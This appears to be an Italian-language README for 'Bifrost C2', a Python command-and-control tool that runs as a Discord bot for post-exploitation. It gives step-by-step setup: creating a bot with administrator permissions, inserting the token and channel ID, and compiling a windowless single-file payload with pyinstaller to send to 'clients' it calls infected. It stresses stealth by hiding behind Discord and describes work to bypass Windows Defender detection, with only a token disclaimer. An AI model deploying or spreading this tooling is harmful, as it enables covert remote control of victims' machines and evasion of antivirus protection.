
Bifrost C2. Post-exploitation open-source tramite Discord API.
Sviluppato con Python, questo C2 ha molteplici funzionalità per la post-exploitation.
Come accennato in precedenza, Bifrost è fondamentalmente un bot Discord che riceve comandi dall'utente Discord ed esegue un compito predefinito.
Quindi per ogni cliente che intendi "infettare", invierai una copia di questo bot Discord, e ti risponderà tramite Discord. Questo ti permette di nasconderti dietro il servizio Discord in modo furtivo e di avere una connessione sicura tra te e il tuo cliente.
Disclaimer: Questo progetto dovrebbe essere utilizzato solo per test autorizzati o scopi educativi.
Bifrost è attualmente rilevato da Windows Defender, sto già cercando di risolvere questo "problema" e di bypassarlo di nuovo.
Il rilevamento su Virustotal era 5/67 quando non c'era alcuna difesa contro l'esecuzione in sandbox.
Gli antivirus che hanno rilevato Bifrost come dannoso sono: SecureAge APEX, Jiangmin, Cynet, Zillya e Palo Alto Networks
Bifrost è un progetto aperto, quindi, se vuoi aggiungere qualche funzionalità, migliorare le caratteristiche o le prestazioni del codice in Bifrost, il modo migliore per contribuire al progetto principale è creare un fork e aprire una pull request.
1 - Clona o scarica il codice sorgente di Bifrost;
2 - Installa le dipendenze delle librerie;
pip install -r requirements.txt
3 - Avere un account Discord;
4 - Crea un'applicazione (Bot) su Discord;
5 - Vai alla scheda Informazioni generali e copia il tuo ID Applicazione;
6 - Vai alla scheda Bot, crea il Bot e copia il suo token;
7 - Invita il tuo bot nel tuo server Discord compilando il seguente link con il tuo ID Applicazione;
https://discord.com/oauth2/authorize?client_id=<APP_ID>&scope=bot&permissions=8
8 - Ora crea un canale nel tuo server Discord e copia il suo ID;
Nota.: Attiva la funzione sviluppatore nella tua app Discord per copiare facilmente l'ID del canale.
Ora con queste 2 informazioni (ID canale e Token del Bot), modifica i valori delle variabili sulle righe 22 e 23 del file bifrost.py con i valori del tuo account/canale.
Dopo aver creato il tuo bot, canale e modificato i valori delle variabili, segui i passaggi seguenti per distribuire il payload al tuo client
Crea un file eseguibile di bifrost usando pyinstaller, oppure invia bifrost.py al client e installa tutte le dipendenze.
Usando il file eseguibile, il client non ha bisogno di avere Python o dipendenze preinstallate.
pyinstaller bifrost.py --onefile --noconsole --key th3r4ven_bifrost oppure
python -m pyinstaller bifrost.py --onefile --noconsole --key th3r4ven_bifrost
NOTA.: Tutti questi parametri sono opzionali, leggi la documentazione di pyinstaller per maggiori informazioni su come utilizzarlo.
Puoi inviare bifrost.py e installare le dipendenze, oppure creare uno script/eseguibile per automatizzare questo processo, simile all'installazione su Windows.
Lo streaming live dello schermo non è possibile tramite l'API Discord :(
